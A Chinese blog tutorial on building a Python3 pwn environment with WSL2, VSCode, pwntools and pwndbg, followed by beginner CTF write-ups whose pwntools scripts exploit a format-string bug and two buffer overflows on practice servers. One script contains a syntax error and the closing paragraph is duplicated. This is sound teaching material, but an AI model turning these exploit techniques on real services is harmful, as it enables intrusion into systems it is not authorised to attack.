Python3+VSCode+WSL2的pwn环境配置与使用

0x00 前言

随着进入全面建成小康社会的最后一年,Python2也正式停止了支持。网上的pwn基础教程很多都过时了,写着peda、pwntools、pwndbg等只支持py2,现在看起来是不太对,迁移是大势所趋,很多项目尤其是大项目早就完成了向Python3的迁移,有图为证。最近宅在家里又比较闲,想着能不能把环境迁移到Python3上,一番折腾后感觉还不错,故把自己踩到的坑写下来,也写一篇基础教程。

我就是eclipse插件拉满卡死,Vim快捷键记到头秃我也不会用VSCode,哎呀妈呀,真香。至于为什么选择VSCode,那肯定是因为它火,蹭它热度呗。(大雾)在WSL里可以很方便的访问hostOS的文件,而且WSL2使用了完整的的Linux内核,其本质就是基于hyper-V的虚拟机,考虑到兼容性问题故选用WSL2。再辅以Windows Terminal简直破费。话不多说,整。

11BsL8.jpg
11Brsf.jpg
11BDQP.jpg

0x01 WSL2的安装

控制面板→程序→启用或关闭windows功能→勾选适用Linux的Windows子系统,重启。WSL2与WSL1不一样,第一次使用虚拟机的同学可能需要进入BIOS开启硬件虚拟化,不同的机型具体操作不同,搜索引擎对症下药即可。

11B6eS.jpg

命令行输入WSL --set-default-version 2把WSL2设置为默认WSL,也可以为不同的发行版指定不同的WSL版本,也可以互相转换,具体操作键入 WSL -h查看。

Windows应用商店提供了若干个发行版,我们选用Ubuntu,直接搜索Ubuntu就可以,默认的是18.04,你也可以安装16.04。安装包都只有小几百MB,官方打包,干净的一比。Ubuntu18.04默认已经不提供py2了,只提供Python3。还可以顺手在应用商店里安装一个Windows Terminal,美观易用,关于Windows Terminal的配置网上也有教程。在Windows Terminal或者PowerShell里键入WSL即可启动默认发行版。

11BRij.jpg

tips:如果报可能是因为Windows操作系统版本较低,更新一下或者加入Windows预览体验计划。

0x02 Linux的配置

鉴于网络环境,可以把软件源还有pip源都换成国内,网上教程很多,不再赘述。

安装并更新pip3

sudo apt install python3-pip
python3 -m pip install --upgrade pip

后续使用pip3的时候可能会出现如下报错

Traceback (most recent call last): File "/usr/bin/pip3", line 9

经查这是pip 10.0.0版本的BUG,现在可能已经修复了。解决方法:修改 /usr/bin/pip 文件

before

1
2
3
from pip import main
if __name__ == '__main__':
sys.exit(main())

after

1
2
3
from pip import __main__
if __name__ == '__main__':
sys.exit(__main__._main())

由于是64位系统,所以添加32位支持

sudo dpkg --add-architecture i386
sudo apt-get update
sudo apt-get -y install libc6-i386

这个Ubuntu比较干净 也没有gdb给他整一个

sudo apt-get -y install git gdb

安装ROPgadget

sudo pip install capstone
pip install ropgadget

安装one_gadget

sudo apt-get -y install ruby
sudo gem install one_gadget

下载源码以供调试具体怎样调试源码可以去问搜索引擎

apt install libc6-dbg
apt install libc6-dbg:i386
apt source libc6-dev

安装libcsearcher

git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python3 setup.py develop

增强gdb插件的插件有很多,peda、gef、pwndbg、pwngdb,这些插件各有所长。由于各种各样的问题尝试同时安装多个插件在使用的时候总是出现bug(还是我太菜,解决不了兼容问题,哭唧唧),所以你可以安装多个但每次只用一个,通过改写.gdbinit文件控制每次加载的插件,这里只安装pwndbg。

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

命令行输入gdb测试正常,可能有的小伙伴会报错,这时查看一下你的gdb使用的py是什么版本,大家都是Python3就很好说话了。

11Bcdg.jpg

安装pwntools。

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev

上述过程可能会有报错,认真阅读报错信息,利用搜索引擎就可以解决的问题都不是问题。(逃 😈

tips:由于网络原因使用git可能并不顺畅,可以git挂代理或者直接下载.zip文件离线安装。

0x03 VSCode的安装及使用

进入VSCode官网https://code.visualstudio.com ,stable和insiders版本二选一,如果stable不支持远程开发的话那就装insiders版本。安装完WSL2再安装VSCode首次进入后会推荐你安装Remote - WSL插件,或者去插件市场搜索这个插件或者Remote Development插件。然后安装一些常用插件,例如python插件,c/c++插件,中文插件等。单击二者其一就可以连接到Ubuntu并访问其中文件。

11BgoQ.jpg

我们写一个测试脚本,点击文件→新建文件→然后选择python语言以及python3。写完可以直接在VSCode的终端里运行,测试成功如图。

18mxp9.jpg

至于Windows平台下的ida,ollydbg等调试器的安装,比较简单,不再赘述。

0x04 简单实战

本文虽是一篇基础教程,但肯定不能从汇编语言说起,这里拿XCTF新手入门的几个pwn题为例,简单介绍一下pwn题的解题方法。不啰嗦,盘它。

0x00 get shell

直接ida打开F5,看完代码你应该就去学习Linux下nc命令的使用。

0x01 CGfsb

一般情形下拿到文件先checksec一下,看开启了哪些保护机制。这里简单介绍下几个选项的含义。

18mjfJ.jpg

Arch:平台或指令集,位数32或64,大端序还是小端序。
RELRO:RELocation Read-Only,只读重定位。分为Partial RELRO(部分RELRO)和 Full RELRO (完整RELRO)。开启Partial RELRO的话GOT表是可写的;开启 FULL RELRO 的话GOT表是只读的。
Stack:canary found 一种栈防护机制,如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canary、overwrite canary的方法来绕过。
NX:NX(Non-Executable Memory,不可执行内存)类似于windows中的DEP(Data Execution Prevention,数据执行保护)。
PIE:随机化ELF装载内存的基址(代码段、plt、got、data等共同的基址)但与ASLR是有区别的,ASLR 不负责代码段以及数据段的随机化工作,这项工作由 PIE 负责。但是只有在开启 ASLR 之后,PIE 才会生效。

用ida打开F5看代码,聪明的你发现只要让pwmme等于8就可以开shell拿flag了,但是程序并没有让你输入其值。这里我们可以利用格式化字符串写内存的漏洞。

%n:不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
%n$:表示的是获取格式化字符串中的第n个指定参数

所以我们需要知道pwmme的地址,在ida中双击此变量名即可快速跳转,发现其在bss段。地址为0x804a068。

接下来就要确定偏移了,对简单的方法就是输入形如AAAA%x,%x,%x,%x,%x,%x,%x,%x,%x的格式化字符串。

18mXY4.jpg

A的ascii码16进制值正是0x41,数一数就知道AAAA相对于格式化字符串的偏移量是10,然后写exp。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote('111.198.29.45',46753)
pwnme_addr = 0x0804A068
payload1 = 'fe1yu'
payload2 = p32(pwnme_addr)+'abcd'+'%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print (p.recv())
print (p.recv())

为什么要这么写呢?p32会把0x0804A068打包成32位系统的地址,也就是4个字节,这也是为什么用4个A测试毕竟占用四字节,abcd也是4个字节,刚好使pwnme等于8。为什么写两个print是因为一次输出name,一次输出message。运行脚本,BOOM!报错,为什么呢?其实这里有一个坑就是Python3是默认UTF-8编码的,一个字符占用空间并不是1字节,所以你的字符串并不是4字节,这时候需要强制类型转换,在字符串前加一个b,正确exp如下。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote('111.198.29.45',32386)
pwnme_addr = 0x0804A068
payload1 = 'abcd'
payload2 = p32(pwnme_addr)+b'abcd'+b'%10$n'
p.recvuntil('please tell me your name:\n')
p.sendline(payload1)
p.recvuntil('leave your message please:\n')
p.sendline(payload2)
print (p.recv())
print (p.recv())

0x02 when_did_you_born

还是老一套,checksec一下,idaF5看一下伪C代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char name; // [rsp+0h] [rbp-20h]
unsigned int input_birth; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &input_birth);
while ( getchar() != 10 )
;
if ( input_birth == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets((__int64)&name); // stack overflow here
printf("You Are Born In %d\n", input_birth);
if ( input_birth == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}

看过代码后聪明的你又发现了只要输入的birth要为1926就能得到flag,可是他又不让你在1962出生,怎么办呢。你又看到了gets获取name,盲生,你发现了华点!本题是一道栈溢出题目,刚开始birth我们只需要输入一个非1926值就可以了,输入name的时候再把它覆盖成1926。能不能行呢,用ida可以看到两个变量相差了8字节,这就明白了,写exp。

checksec的时候你肯定发现了这是一个64位程序,所以使用p64,0x786就是1926的16进制表示。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = remote('111.198.29.45', 31876)
birth = "1927"
name = b'aaaaaaaa'+ p64(0x00000786)
p.recvuntil("What's Your Birth?")
p.sendline(birth)
p.recvuntil("What's Your Name?")
p.sendline(name)
print (p.recv())
print (p.recv())
print (p.recv())

0x03 hello_pwn

还是checksec+idaF5,找到main函数,好奇心让你点开sub_400686()看一看,一下子你又找到了flag的获取方,只要满足dword_60106C == 1853186401就行。

18mqTU.jpg

但你仔细一看,特喵的没地方让我输入dword_60106C 啊,你又仔细一看,发现了上面有个&unk_601068,你跟进去一看,4字节大小,而且这俩小伙距离挺近,都位于一个叫bss段的东西上,哎这时候我告诉你这个也能溢出,你一下恍然大悟,exp在脑海瞬间就写好了。

1
2
3
4
5
from pwn import *
r = remote(111.198.29.45, 49252)
r.recvuntil("bof")
r.sendline(b'AAAA' + p64(1853186401))
r.interactive()

体会过上面几个题你应该有了感觉,pwn就是在看似做不到的事情中寻求那一点突破。这地方不行,那我就从另一个地方到达,看似不可写实则可读可写(菜鸡愚见)。

0x05 总结

这套环境突出一个方便快捷,WSL2我这性能羸弱的机器也只需要3-5秒就能启动,exp写完直接就能在VSCode里得出结果,文件交互也比较流畅,不需要VMtools。有问题就是现在WSL2与VMware不兼容,不知道这个问题解决了没有。
写的时候我自己都觉得我啰嗦,我觉得我写的还是比较细致了,但我相信还是零基础看还是不太可能一下子弄明白,毕竟我也是零基础入门,当然我现在也是菜的也批。我看零基础pwn入门之类的文章时也看不懂,其实pwn零基础是真的不能入门也学不懂的,这也是一些人吐槽网上的pwn教程对新手真的不是特别友好,造成pwn入门门槛偏高的原因之一 吧。关于到底怎么入门,就像yuange说的(大意):我就是看汇编语言,操作系统,计算机原理等。

这套环境突出一个方便快捷,WSL2我这性能羸弱的机器也只需要3-5秒就能启动,exp写完直接就能在VSCode里得出结果,文件交互也比较流畅,不需要VMtools。有问题就是现在WSL2与VMware不兼容,不知道这个问题解决了没有。写的时候我自己都觉得我啰嗦,我觉得我写的还是比较细致了,但我相信还是零基础看还是不太可能一下子弄明白,毕竟我也是零基础入门,当然我现在也是菜的也批。我看零基础pwn入门之类的文章时也看不懂,其实pwn零基础是真的不能入门也学不懂的,这也是一些人吐槽网上的pwn教程对新手真的不是特别友好,造成pwn入门门槛偏高的原因之一 吧。关于到底怎么入门,就像yuange说的(大意):我就是看汇编语言,操作系统,计算机原理等。

0x06 参考链接

1.https://github.com/giantbranch/pwn-env-init
2.https://blog.csdn.net/baidu_36804484/article/details/88803846
3.https://www.cnblogs.com/rec0rd/p/7646857.html

Thanks for reward